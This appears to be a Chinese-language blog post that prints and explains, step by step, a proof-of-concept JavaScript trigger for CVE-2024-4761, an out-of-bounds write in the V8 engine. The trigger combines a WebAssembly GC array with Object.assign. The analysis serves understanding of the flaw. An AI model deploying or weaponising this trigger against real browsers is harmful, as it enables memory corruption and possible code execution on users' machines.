赞
踩
CVE-2024-4761 是一个在 V8 引擎中发现的越界写漏洞,报告日期为 2024-05-09。这个漏洞可能允许攻击者通过特制的代码执行任意代码或者造成内存破坏,进而导致程序崩溃或其他不安全行为。
const prefix = "..."; d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`); let builder = new WasmModuleBuilder(); let array = builder.addArray(kWasmI32, true); builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef])) .addBody([ kExprLocalGet, 0, kGCPrefix, kExprArrayNewDefault, array, kGCPrefix, kExprExternConvertAny, ]) .exportFunc(); let instance = builder.instantiate({}); let wasm = instance.exports; let array42 = wasm.createArray(42); let src = {}; src.a = 1; delete src.a; for (let i = 0; i < 1024; i++) { src[`p${i}`] = 1; } Object.assign(array42, src);
加载 wasm-module-builder.js
模块:
d8.file.execute(`${prefix}/test/mjsunit/wasm/wasm-module-builder.js`);
这里假设 D8(V8 引擎的调试工具)正在执行一段 JavaScript 代码,该代码加载了 WebAssembly 模块构建器脚本。
构建 WebAssembly 模块:
let builder = new WasmModuleBuilder();
let array = builder.addArray(kWasmI32, true);
使用 WasmModuleBuilder
创建一个新的 WebAssembly 模块,并定义一个整数数组类型。
添加和导出一个函数:
builder.addFunction('createArray', makeSig([kWasmI32], [kWasmExternRef]))
.addBody([
kExprLocalGet, 0,
kGCPrefix, kExprArrayNewDefault, array,
kGCPrefix, kExprExternConvertAny,
])
.exportFunc();
这个函数 createArray
接受一个整数参数,创建一个新的 WebAssembly 数组并返回一个外部引用。函数体包含指令序列来获取局部变量,创建默认的数组,并将其转换为外部引用。
实例化模块并调用导出函数:
let instance = builder.instantiate({});
let wasm = instance.exports;
let array42 = wasm.createArray(42);
实例化模块后,调用 createArray
函数,创建一个包含 42 个元素的数组。
构建和修改对象:
let src = {};
src.a = 1;
delete src.a;
for (let i = 0; i < 1024; i++) {
src[`p${i}`] = 1;
}
Object.assign(array42, src);
创建一个对象 src
,并在其中动态添加属性。最后,使用 Object.assign
将 src
的属性赋值给 array42
。
此代码通过 Object.assign
将一个具有大量属性的对象赋值给一个 WebAssembly 数组,这种操作在 V8 引擎内部可能导致内存管理或边界检查失效,进而触发越界写漏洞。具体表现可能包括覆盖数组边界以外的内存区域,从而执行任意代码或导致程序崩溃。
从代码来看,这段 POC 似乎旨在触发 V8 引擎中的越界写漏洞。通过构建一个包含大量属性的对象并将其分配给 WebAssembly 数组,可以测试 V8 的内存边界检查是否有缺陷。如果存在缺陷,该操作可能会导致越界写,从而验证 CVE-2024-4761 漏洞的真实性。因此,POC 代码看起来是合理且可能真实的漏洞利用示例。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。